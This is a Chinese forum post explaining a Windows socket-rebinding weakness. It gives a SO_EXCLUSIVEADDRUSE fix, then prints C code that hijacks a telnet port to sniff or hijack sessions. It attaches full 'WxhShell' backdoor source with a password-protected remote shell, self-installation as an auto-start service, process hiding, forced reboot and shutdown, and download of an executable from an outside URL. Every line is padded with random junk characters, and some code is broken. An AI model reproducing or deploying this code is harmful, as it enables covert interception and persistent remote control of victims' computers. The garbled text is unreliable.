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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D@.+B`bA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~)ut"4  
VINb9W}G[  
  saddr.sin_family = AF_INET; 8NP|>uaj  
|.]sL0; 4Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3i\<#{  
mO#62e4C  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,%Go.3i[  
M/<>'%sj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Zw@=WW[Q`p  
4v[Zhf4JM  
  这意味着什么?意味着可以进行如下的攻击: z[vHMJ 0  
+"P!es\q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 EhWYFQ  
MKiP3kt8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qXF#qS-28  
V.\12P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U+[ p>iP  
Go;fQ yG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GN0s`'#"3%  
8&q[jxI@8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <PMQ$s>KK  
/Py1Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /7[U J'  
7 &O 0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 YB`1S  
]7|Zs]6  
  #include )\O;Rt(  
  #include kg/<<RO  
  #include X0FTD':f  
  #include    8%\0v?a5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   OdSglB  
  int main() 8bTE# 2+-  
  { BQo$c~  
  WORD wVersionRequested; `J l/@bE=  
  DWORD ret; AQ)DiH  
  WSADATA wsaData; Pl/}`H:R&  
  BOOL val; q0sdL86  
  SOCKADDR_IN saddr; >U7{EfUJdx  
  SOCKADDR_IN scaddr; 2=]Xe#5J=  
  int err; Ea<kc[Q  
  SOCKET s; q$iGeE#  
  SOCKET sc; ,S V34+(  
  int caddsize; FTJvkcc?m  
  HANDLE mt; ]K0G!TR<  
  DWORD tid;   BmhIKXE{*  
  wVersionRequested = MAKEWORD( 2, 2 ); _48@o^{  
  err = WSAStartup( wVersionRequested, &wsaData ); YP4lizs.  
  if ( err != 0 ) { zm~sq_=^  
  printf("error!WSAStartup failed!\n"); |#i|BVnoE  
  return -1; <>71;%e;'  
  } z%lLbKSe  
  saddr.sin_family = AF_INET; i8nzPKF2$3  
   fVvB8[(;~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 bCfw,V{sce  
T8t_+| ( G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 07 E9[U[  
  saddr.sin_port = htons(23); d_] sV4[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pP|LSr Y!  
  { A6S|pO1)3  
  printf("error!socket failed!\n"); L]e@. /C$  
  return -1; \2#j1/d4  
  } O'.sK pXe  
  val = TRUE; xf|vz|J?y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {kOTQG?y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8M6wc394  
  { o=)["V  
  printf("error!setsockopt failed!\n"); <FofRFaS  
  return -1; uXuA4o$t-  
  } @3v[L<S{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; EvGKcu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g3*J3I-O  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bAwFC2jO[  
1e)5D& njS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `:*O8h~i^8  
  { L"[>tY  
  ret=GetLastError(); 3uy^o  
  printf("error!bind failed!\n"); 0 zn }l6OS  
  return -1; qe_qag9  
  } {oVoN>gp  
  listen(s,2); Qj3l>O  
  while(1) =N^j:t  
  { ^&!iqK2o  
  caddsize = sizeof(scaddr); /cC4K\M  
  //接受连接请求 :8LK}TY7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); phP%  
  if(sc!=INVALID_SOCKET) XCyAt;neon  
  { f+V^q4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N_o|2  
  if(mt==NULL) ?Zh,W(7W  
  { L)QAI5o:3  
  printf("Thread Creat Failed!\n"); ,sZ)@?e  
  break; rp_Aw  
  } c4 bo  
  } &s~b1Va  
  CloseHandle(mt); *z }<eq  
  } Xf6\{  
  closesocket(s); S]g`Ds<  
  WSACleanup(); 9Ac4'L  
  return 0; pT<}n 9yB5  
  }   g$T% C?  
  DWORD WINAPI ClientThread(LPVOID lpParam) zL=PxFw0  
  { ,/Al'  
  SOCKET ss = (SOCKET)lpParam; s<'WTgy1i  
  SOCKET sc; #McX  
  unsigned char buf[4096]; W{X5~w(  
  SOCKADDR_IN saddr; 8dlhL8#  
  long num; 7OdJ&Gzd  
  DWORD val; Xmv^O  
  DWORD ret; "}^}3"/.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \rSofn#c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p"|0PlW  
  saddr.sin_family = AF_INET; \}:;kO4f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6QX2&[qWS  
  saddr.sin_port = htons(23); |'!9mvt=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M d.^r5r  
  { %'&_Po\  
  printf("error!socket failed!\n"); Gq =i-I  
  return -1; Noi+mL  
  } owe6ge7m  
  val = 100; Q60'5Wt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q7pjF`wu  
  { d37|o3oC  
  ret = GetLastError(); r68d\N`.  
  return -1; %mNd9 ]<  
  } 3Bbd2[<W  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4;)aGN{e  
  { #<81`%  
  ret = GetLastError(); LPS]TG\  
  return -1; f"aqg/l  
  } Jl@YBzDfF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V]6CHE:BS  
  { HImQ.y!B  
  printf("error!socket connect failed!\n"); q 1~3T;Il  
  closesocket(sc); k*|WI$  
  closesocket(ss); xF8 8'p'  
  return -1; :89AYqT"  
  } AkA2/7<[  
  while(1) KOit7+Q  
  { qrkJ:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~mk>9Gp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,Wlw#1fP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 NU(YllPB  
  num = recv(ss,buf,4096,0); d_)VeuE2  
  if(num>0) GEJy?$9   
  send(sc,buf,num,0);  ;GZ/V;S  
  else if(num==0)  Fm`c  
  break; !BEl6h  
  num = recv(sc,buf,4096,0); ;6tGRh$b  
  if(num>0) OYj~"-3y)  
  send(ss,buf,num,0); _.+2sm   
  else if(num==0) Wq"^{  
  break; Y~P* !g  
  } "#=WD  
  closesocket(ss); IaYaIEL-  
  closesocket(sc); fT0+i nRG  
  return 0 ; *ulkqpO  
  } ;{Tf:j'g  
mu@IcIb>  
L%31>)8  
========================================================== 6rh^?B  
H57wzG{xG  
下边附上一个代码,,WXhSHELL `8b4P>';O'  
Ct9dV7SH  
========================================================== 18AlQ+')?w  
 ?h3t"9  
#include "stdafx.h" 9e0t  
9N;y^ Y\  
#include <stdio.h> 0<u(!iL  
#include <string.h> 4rH:`494  
#include <windows.h> F+285JK  
#include <winsock2.h> ?7\$zn)v#  
#include <winsvc.h> *9|*21  
#include <urlmon.h> :\IZ-  
^-dhz88wV  
#pragma comment (lib, "Ws2_32.lib") /5j]laYK)  
#pragma comment (lib, "urlmon.lib") `c/mmS  
Ae^ Idz  
#define MAX_USER   100 // 最大客户端连接数 P"<,@Mn  
#define BUF_SOCK   200 // sock buffer RZTC+ylj  
#define KEY_BUFF   255 // 输入 buffer i1DJ0xC]  
r 9whW;"q  
#define REBOOT     0   // 重启 !"s~dL,7  
#define SHUTDOWN   1   // 关机 D |9ItxYu  
(<ngdf`,  
#define DEF_PORT   5000 // 监听端口 ~zyD=jx P9  
k*!f@ M  
#define REG_LEN     16   // 注册表键长度 ?~WDl j3  
#define SVC_LEN     80   // NT服务名长度 QRlrcauM  
QO <.l`F  
// 从dll定义API  3;f}w g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }J(o!2.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C0[ Z>$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +d JLT}I8M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *L=F2wW  
BiD}C  
// wxhshell配置信息 TA>28/U#  
struct WSCFG { *IV_evgM7  
  int ws_port;         // 监听端口 6w*q~{"(  
  char ws_passstr[REG_LEN]; // 口令 "XWO#,Ue  
  int ws_autoins;       // 安装标记, 1=yes 0=no zz1]6B*eX  
  char ws_regname[REG_LEN]; // 注册表键名 M:cW/&ZJ  
  char ws_svcname[REG_LEN]; // 服务名 m 4V0e~]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VTs ,Ln!,U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Usf7 AS=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w/Y6m.i1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E2yL9]K2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =6< Am  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t[HA86X  
|5#iPw_wMY  
}; #uCE0}N@  
Ct0YwIR*  
// default Wxhshell configuration qL/XGIxL?  
struct WSCFG wscfg={DEF_PORT, :WAFBK/x  
    "xuhuanlingzhe", O%p+P<J  
    1, } .'\IR  
    "Wxhshell", ?/FCq6o  
    "Wxhshell", .Uh|V -  
            "WxhShell Service", /rZ`e'}  
    "Wrsky Windows CmdShell Service", mH5[(?   
    "Please Input Your Password: ", 95b65f  
  1, SZL('x,"^  
  "http://www.wrsky.com/wxhshell.exe", mFW/xZwR,5  
  "Wxhshell.exe" ?b3({P  
    }; t{o&$s93  
Ob m%\h  
// 消息定义模块 Y(Q!OeC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OpxJiu=W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; al{}p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &]P1IQ  
char *msg_ws_ext="\n\rExit."; XWYLa8Ef  
char *msg_ws_end="\n\rQuit."; J6J|&Z~UT,  
char *msg_ws_boot="\n\rReboot..."; <v[UYvZvY  
char *msg_ws_poff="\n\rShutdown..."; Ncsk~=[  
char *msg_ws_down="\n\rSave to "; UQ.DKUg  
:Kx6|83  
char *msg_ws_err="\n\rErr!"; y3Lq"?h  
char *msg_ws_ok="\n\rOK!";  ];hK5  
3FhkK/@  
char ExeFile[MAX_PATH]; 0mYKzJi  
int nUser = 0; UY`U[#  
HANDLE handles[MAX_USER]; H3Sfz'  
int OsIsNt; 0uwe,;   
Y0ouLUlI  
SERVICE_STATUS       serviceStatus; \p{$9e;8yT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; khS >  
boWaH}?0'  
// 函数声明 t+%tN^87:  
int Install(void); 5M mSQ_  
int Uninstall(void); dBM> ;S;v  
int DownloadFile(char *sURL, SOCKET wsh); :?J0e4.]  
int Boot(int flag); Lk:Sju  
void HideProc(void); v&}^8j  
int GetOsVer(void); ,<,#zG[.  
int Wxhshell(SOCKET wsl); Yb=Z `)  
void TalkWithClient(void *cs); .jvRUD8A7  
int CmdShell(SOCKET sock); m5\/7 VC  
int StartFromService(void); Ub| -Q  
int StartWxhshell(LPSTR lpCmdLine); :9f/d;Mo3  
m8C scC Z}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^:64(7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'c&S%Ra[3G  
p!RyxB1.|  
// 数据结构和表定义 3,$G?auW  
SERVICE_TABLE_ENTRY DispatchTable[] = 04P!l  
{ 3Q_L6Wj~  
{wscfg.ws_svcname, NTServiceMain}, (5R_q.Wu  
{NULL, NULL} z2DjYTm[~  
}; ~$:=hT1  
:iVEm9pB)  
// 自我安装 <WGx 6{  
int Install(void) {3R?<ET]mt  
{ ED=P  6u  
  char svExeFile[MAX_PATH]; /IyCvo  
  HKEY key; 3_cZaru  
  strcpy(svExeFile,ExeFile); . Q$/\E  
gRQV)8uh  
// 如果是win9x系统,修改注册表设为自启动 C Ch38qBp  
if(!OsIsNt) { 8zWKKcf7t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^7$V>|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sH `(y)`_  
  RegCloseKey(key); XX;MoE~MM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XTPf~Te,=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2nA/{W\hC  
  RegCloseKey(key); {Bm7'%i  
  return 0; &&er7_Q  
    } A.>TD=Nz  
  } F` "bMS  
} qGH\3g-  
else { )7TuV"  
$ ";NS6 1  
// 如果是NT以上系统,安装为系统服务 G@I/Dy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); , \ 6*fXc  
if (schSCManager!=0) KQv97#n1  
{ 4E~!$Ustx  
  SC_HANDLE schService = CreateService 04wO9L;  
  ( 1 wB2:o<  
  schSCManager, HA W57N  
  wscfg.ws_svcname, Md(h-wYr  
  wscfg.ws_svcdisp, y`Km96 Ui  
  SERVICE_ALL_ACCESS, kjOPsz*0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p5PTuJ>q  
  SERVICE_AUTO_START, pJ ;4rrSK  
  SERVICE_ERROR_NORMAL, TOvpv@?-  
  svExeFile, Z%1{B*(e  
  NULL, >p,FAz>  
  NULL, W\l"_^d*  
  NULL, _|qs-USA  
  NULL, WEVV2BJ  
  NULL t9(sSl  
  ); 5U5)$K'OA  
  if (schService!=0) /O/pAu>  
  { -&3mOn& (1  
  CloseServiceHandle(schService); 6nP-IKL  
  CloseServiceHandle(schSCManager); NNM+Z:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c"x-_Uk  
  strcat(svExeFile,wscfg.ws_svcname); "O j2B|:s&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6-vQQ-\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); - BE.a<  
  RegCloseKey(key); bX*c-r:  
  return 0; ji :E  
    } wS%aN@ay3  
  } H% "R _[+  
  CloseServiceHandle(schSCManager); >y7|@'V[v0  
} DS]C`aM9  
} "FfIq;  
w=MiJr#3^  
return 1; Q@HW`@i  
} 8M9}os  
wdzZ41y1  
// 自我卸载 Y]-7T-*+t  
int Uninstall(void) -D-]tL6w  
{ hfQx$cv6  
  HKEY key; lIDGL05f'  
Pe<}kS m4  
if(!OsIsNt) { g (:%E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c[RkiV3  
  RegDeleteValue(key,wscfg.ws_regname); _(.,<R5  
  RegCloseKey(key); uxsfQ%3`#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >L{s[pLJ  
  RegDeleteValue(key,wscfg.ws_regname); _}RzJKl@  
  RegCloseKey(key); 8R;A5o,  
  return 0; Mu?hB{o1  
  } e"]*^Q  
} F^bzE5#  
} ~+r"% KnG  
else { zJ7=r#b  
pcl '!8&7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dX8N7{"[  
if (schSCManager!=0) U9ZWSDs  
{ yQ{xRtNO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c4AkH|  
  if (schService!=0) qJ8@A}}8  
  { Q $5U5hb  
  if(DeleteService(schService)!=0) { ~DJ>)pp  
  CloseServiceHandle(schService); 6}aH>(3!A  
  CloseServiceHandle(schSCManager); 7UzbS,$x  
  return 0; )of?!>'S[  
  } tbr1mw'G  
  CloseServiceHandle(schService); G*x"drP  
  } nC;2wQ6aO  
  CloseServiceHandle(schSCManager); X;D"}X4(E  
} "`'' eV3  
} 9=wt9` ?  
_xVtB1@kLM  
return 1; 1s@%q <  
} Y::I_6[eV  
5\6S5JyIL  
// 从指定url下载文件 pf'-(W+  
int DownloadFile(char *sURL, SOCKET wsh) ]l.qp5eQ  
{ t:?8I9d  
  HRESULT hr; gfW8s+  
char seps[]= "/";  {Hp*BE   
char *token; h;(#^+LH  
char *file; M]JD(  
char myURL[MAX_PATH]; E)h&<{%  
char myFILE[MAX_PATH]; X\dPQwasM  
~c*$w O\  
strcpy(myURL,sURL); 8ezdU"  
  token=strtok(myURL,seps); Rl2*oOVz  
  while(token!=NULL) 28N v'  
  { 3TS(il9A  
    file=token; "\]NOA*  
  token=strtok(NULL,seps); j>KJgSs]&\  
  } ]*M-8_D  
">LX>uYmX-  
GetCurrentDirectory(MAX_PATH,myFILE); 1aQR9zg%  
strcat(myFILE, "\\"); ;jEDGKLq  
strcat(myFILE, file); cJ> #jl&  
  send(wsh,myFILE,strlen(myFILE),0); ;[ag|YU$Y  
send(wsh,"...",3,0); #'<s/7;~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $<[Q8V-  
  if(hr==S_OK) jZX2)#a!  
return 0; hCcAAF*I;5  
else #A RQB2V  
return 1; V&75n.L  
j~)GZV  
} uR:@7n  
MI,b`pQ  
// 系统电源模块 Q{~WWv  
int Boot(int flag) vA r fsgk  
{ =d{B.BP(  
  HANDLE hToken; 1oSrhUTy  
  TOKEN_PRIVILEGES tkp; $%3"@$  
? !dy  
  if(OsIsNt) { v9t26>{~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [1\k'5rp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !M&Qca2  
    tkp.PrivilegeCount = 1; .P|_C.3- l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5/ee&sJR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o JLpFL  
if(flag==REBOOT) { {vf"`#Q9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `~hB-Z5dI  
  return 0; /7)l22<  
} L/U^1=Wi*O  
else { i#lnSJ08  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dV( "g],  
  return 0; $z>L $,c>  
} =@%Ukrd@  
  } #Oeb3U  
  else { (zO)J`z>  
if(flag==REBOOT) { ~KW|<n4m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k\qF> =  
  return 0; )M!6y%b67  
} e;kH,fHUI3  
else { :&{:$-h!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [K\Vc9  
  return 0; Lcx)wof  
} j<HBzqP%6  
} oVK3=m@ {  
)5479Eb_  
return 1; E,/<;  
} t Lz,t&h  
d3nMeAI AO  
// win9x进程隐藏模块 8)wxc1  
void HideProc(void) FKX+ z  
{ :?*|Dp1  
gyt[ZN_2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0Q]ZS  
  if ( hKernel != NULL ) GbLuX U  
  { 94>EA/+Ek  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i1OF @~?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E=-ed9({:  
    FreeLibrary(hKernel); cQ?eL,z  
  } tTMYqg zUk  
O)$rC  
return; mip2=7M|C  
} $ e<108)]  
8$+mST'4N  
// 获取操作系统版本 ~^{jfHTlv  
int GetOsVer(void) 5-3.7CO$  
{ CTG:C5OK  
  OSVERSIONINFO winfo; ~`uEZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R-~ZvVw7L  
  GetVersionEx(&winfo); (SEE(G35  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bK\Mn95]  
  return 1; v/fo`]zP  
  else TQ{rg2_T  
  return 0; Vw^2TRU  
} T ke3X\|  
_{]\} =@  
// 客户端句柄模块 i; qb\  
int Wxhshell(SOCKET wsl) 3?do|>  
{ [dQL6k";b  
  SOCKET wsh; kgq"b)  
  struct sockaddr_in client; Xiy9Oeq2uh  
  DWORD myID; <? Z[X{  
\ r^#a  
  while(nUser<MAX_USER) *[P"2b#  
{ g[NmVY-o  
  int nSize=sizeof(client); \I@hDMqv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +PlA#DZu  
  if(wsh==INVALID_SOCKET) return 1;  $:7 T  
i1(}E#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,v#F6xv8  
if(handles[nUser]==0) X\ -IAv  
  closesocket(wsh); _V jfH2Y  
else )2tDX=D  
  nUser++; #K:!s<_"  
  } WS!:w'rzr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AqdQiZ^9  
,R-T( <r  
  return 0; 0gLl>tF[H  
} _i/x4,=xv  
_uYidtxo=  
// 关闭 socket \4/zvlo]h  
void CloseIt(SOCKET wsh) OH(w3:;[8  
{  4 Wb^$i!  
closesocket(wsh); hLv~N}  
nUser--; lBpy0lo#  
ExitThread(0); '^npZa'%sW  
} r+0<A.''a  
Z}8khNCYr  
// 客户端请求句柄 y:m ;_U,%c  
void TalkWithClient(void *cs) z(8:7 G  
{ vuNt+  
\W,,@ -  
  SOCKET wsh=(SOCKET)cs; bPlqS+ai_  
  char pwd[SVC_LEN]; !nBE[&  
  char cmd[KEY_BUFF]; i-<1M|f  
char chr[1]; I)JqaM  
int i,j; dHzQAqb8J  
pZ@)9c  
  while (nUser < MAX_USER) { |g$n-t  
v_ U$jjO1  
if(wscfg.ws_passstr) { >-%}'iz+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @L9C_a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pL& Zcpx  
  //ZeroMemory(pwd,KEY_BUFF); ,ce sQ ou  
      i=0; <-]qU}-  
  while(i<SVC_LEN) { JNJ96wnX1  
N<$dbqoT|  
  // 设置超时 V,*<E&+  
  fd_set FdRead;  y[C++Q  
  struct timeval TimeOut; A"V($:>U  
  FD_ZERO(&FdRead); /O^aFIxk  
  FD_SET(wsh,&FdRead); '[Ue0r<jn  
  TimeOut.tv_sec=8; c SV`?[a  
  TimeOut.tv_usec=0; Fv<^\q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fx3CY W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e #5LBSP  
_K4E6c_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7xhBdi[ dQ  
  pwd=chr[0]; ,Vc>'4E-  
  if(chr[0]==0xd || chr[0]==0xa) { or8`.h EHI  
  pwd=0; *%nV<}e^_=  
  break; xpO'.xEs  
  } TEzMFu+V  
  i++; 9sgyg3fv>5  
    } &(Yv&j X  
SyB2A\A  
  // 如果是非法用户,关闭 socket Fad.!%[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~fht [S?@M  
} ~OE1Sd:2  
jQ"z\}Wf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _ddOsg|U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a(eKb2CX  
\Fs+H,S<  
while(1) {  Fhk 8  
>iKbn  
  ZeroMemory(cmd,KEY_BUFF);  jO5,PTV  
OxC8xB;`  
      // 自动支持客户端 telnet标准   B&M-em=  
  j=0; Jn#05Z  
  while(j<KEY_BUFF) { Z)7|m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <Wwcd8d  
  cmd[j]=chr[0]; N,4. %|1  
  if(chr[0]==0xa || chr[0]==0xd) { !lnRl8oV  
  cmd[j]=0; L,+m5wKj[  
  break; w<P$)~6  
  } wAvnj  
  j++; *6` };ASK  
    } BKV,V/*p  
(*K=&e0O  
  // 下载文件 ,u<oAI`  
  if(strstr(cmd,"http://")) { gB)Cmw*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k vQ] }`a  
  if(DownloadFile(cmd,wsh)) V#P`FX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eVetG,["  
  else 6z'3e\x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "C/X#y   
  } &Rp/y%9  
  else { hHsN(v  
X1C &;5  
    switch(cmd[0]) { ]_EJ "'x  
  \,ko'4 8@  
  // 帮助 JS^QfT,zE  
  case '?': { ceUhCb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qk *b,`;  
    break; l2*o@&.  
  } ' O+)[D  
  // 安装 MV?#g-5  
  case 'i': { SqosJ}K  
    if(Install()) %S$+ 3q%F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I;g>r8N-Bu  
    else v.q`1D1=t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "T4buTXJ  
    break; |lG7/\A  
    } J/(^Z?/~P!  
  // 卸载 w~%Rxdh?8W  
  case 'r': { n([9U0!gu  
    if(Uninstall()) c]+uj q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sp]u5\  
    else E|K|AdL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Mmsja5K  
    break; a`*Dq"9pV  
    } Aw) I:d7F  
  // 显示 wxhshell 所在路径 ?heg_ ~P  
  case 'p': { !XqU'xxC  
    char svExeFile[MAX_PATH]; 2e<u/M21>  
    strcpy(svExeFile,"\n\r"); y7ZYo7avg  
      strcat(svExeFile,ExeFile); _Oc(K "v  
        send(wsh,svExeFile,strlen(svExeFile),0); _wp_y-"  
    break; EZee kxs  
    } TZ+- >CG  
  // 重启 =H_vRd  
  case 'b': { (~ `?_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Jmml2?V-c  
    if(Boot(REBOOT)) !zZ3F|+HB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8t5o&8v  
    else { -FGM>~x  
    closesocket(wsh); /7fD;H^*  
    ExitThread(0); C)?tf[!_6  
    } g@2f& m  
    break; M->BV9  
    } @9e}kiW  
  // 关机 ak"W/"2:  
  case 'd': { U0ZPY )7k  
